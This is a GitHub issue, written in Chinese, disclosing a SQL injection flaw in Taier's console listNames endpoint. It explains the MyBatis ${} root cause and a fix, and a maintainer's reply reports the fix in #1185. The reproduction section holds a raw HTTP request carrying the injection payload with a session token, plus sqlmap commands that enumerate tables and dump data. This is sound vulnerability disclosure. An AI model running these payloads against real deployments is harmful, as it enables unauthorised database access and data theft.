DTStack / Taier

Taier is a big data development platform for submission, scheduling, operation and maintenance, and indicator information display
https://dtstack.github.io/Taier/
Apache License 2.0
1.32k stars 330 forks source link

[Bug] 控制台listNames存在SQL注入漏洞 #1184

Closed nerowander closed 1 month ago

nerowander commented 1 month ago

Search before asking

What happened

搭建环境,输入admin账号密码之后,访问/taier/api/console/listNames接口,并输入jobName,报文如下

POST /taier/api/console/listNames?jobName=111%27or/**/1=1%23 HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: userId=1; username=admin%40dtstack.com; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiIxIiwidXNlcl9pZCI6IjEiLCJ1c2VyX25hbWUiOiJhZG1pbkBkdHN0YWNrLmNvbSIsImV4cCI6MTcyMjU0NjM4MCwiaWF0IjoxNzIwNzk0MzgwfQ.v57U_BL7OgrDWQmicdev4YrPADsScy9eKsAJE709bKo; tenantId=1; tenant_name=taier

响应体如图,能在jobName不输入bbb、ccc(bbb和ccc数据为测试数据,可以连接数据库执行insert语句添加)的条件下,通过SQL注入“万能密码”的形式,得到is_deleted=0的jobName数据

image

这里通过sqlmap工具,得到数据库名、表名等数据(具体复现方式见下文)

数据库名

image

表名

image

schedule_job_cache表的数据

image

What you expected to happen

漏洞的出现原因在于ScheduleJobCacheMapper.xml当中的listNames方法的sql语句,在拼接jobName的时候使用了$而不是#,在mybatis当中,$代表将变量内容和sql语句直接拼接,不做预编译,由此产生SQL注入漏洞。

image

listNames方法在com.dtstack.taier.develop.controller.console.ConsoleController.java当中被调用,对应/listNames接口。

image

查看consoleService.listNames方法,其中consoleService.listNames就调用了ScheduleJobCacheMapper.listNames方法,且其中未对jobName参数做任何过滤处理。

image

How to reproduce

可以通过手动构造请求报文的方法(如上),也可以使用sqlmap工具,这里演示sqlmap的方法,预计复现结果如上

获取当前数据库名

python3 sqlmap.py -u "http://127.0.0.1:8090/taier/api/console/listNames?jobName=1" --cookie="userId=1; username=admin@dtstack.com; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiIxIiwidXNlcl9pZCI6IjEiLCJ1c2VyX25hbWUiOiJhZG1pbkBkdHN0YWNrLmNvbSIsImV4cCI6MTcyMjU0NjM4MCwiaWF0IjoxNzIwNzk0MzgwfQ.v57U_BL7OgrDWQmicdev4YrPADsScy9eKsAJE709bKo; tenantId=1; tenant_name=taier" --dbms mysql --current-db --level 3 --risk 3 -p "jobName" --method=POST

获取所有表名

python3 sqlmap.py -u "http://127.0.0.1:8090/taier/api/console/listNames?jobName=1" --cookie="userId=1; username=admin@dtstack.com; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiIxIiwidXNlcl9pZCI6IjEiLCJ1c2VyX25hbWUiOiJhZG1pbkBkdHN0YWNrLmNvbSIsImV4cCI6MTcyMjU0NjM4MCwiaWF0IjoxNzIwNzk0MzgwfQ.v57U_BL7OgrDWQmicdev4YrPADsScy9eKsAJE709bKo; tenantId=1; tenant_name=taier" --dbms mysql --current-db --level 3 --risk 3 -p "jobName" --method=POST -D "taier" --tables

获取某个表的所有数据(这里以schedule_job_cache表为例)

python3 sqlmap.py -u "http://127.0.0.1:8090/taier/api/console/listNames?jobName=1" --cookie="userId=1; username=admin@dtstack.com; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiIxIiwidXNlcl9pZCI6IjEiLCJ1c2VyX25hbWUiOiJhZG1pbkBkdHN0YWNrLmNvbSIsImV4cCI6MTcyMjU0NjM4MCwiaWF0IjoxNzIwNzk0MzgwfQ.v57U_BL7OgrDWQmicdev4YrPADsScy9eKsAJE709bKo; tenantId=1; tenant_name=taier" --dbms mysql --current-db --level 3 --risk 3 -p "jobName" --method=POST -D "taier" -T "schedule_job_cache" --dump

Anything else

修复建议

可以对jobName的输入内容进行黑名单过滤,也可以在ScheduleJobCacheMapper.xml的listNames方法对应的SQL语句当中将$修改为#。

例如将'%${jobName}%'修改为concat(‘%’,#{jobName}, ‘%’)

Version

master

Are you willing to submit PR?

Code of Conduct

Jixiangup commented 1 month ago

Thanks for your feedback, we fixed it in #1185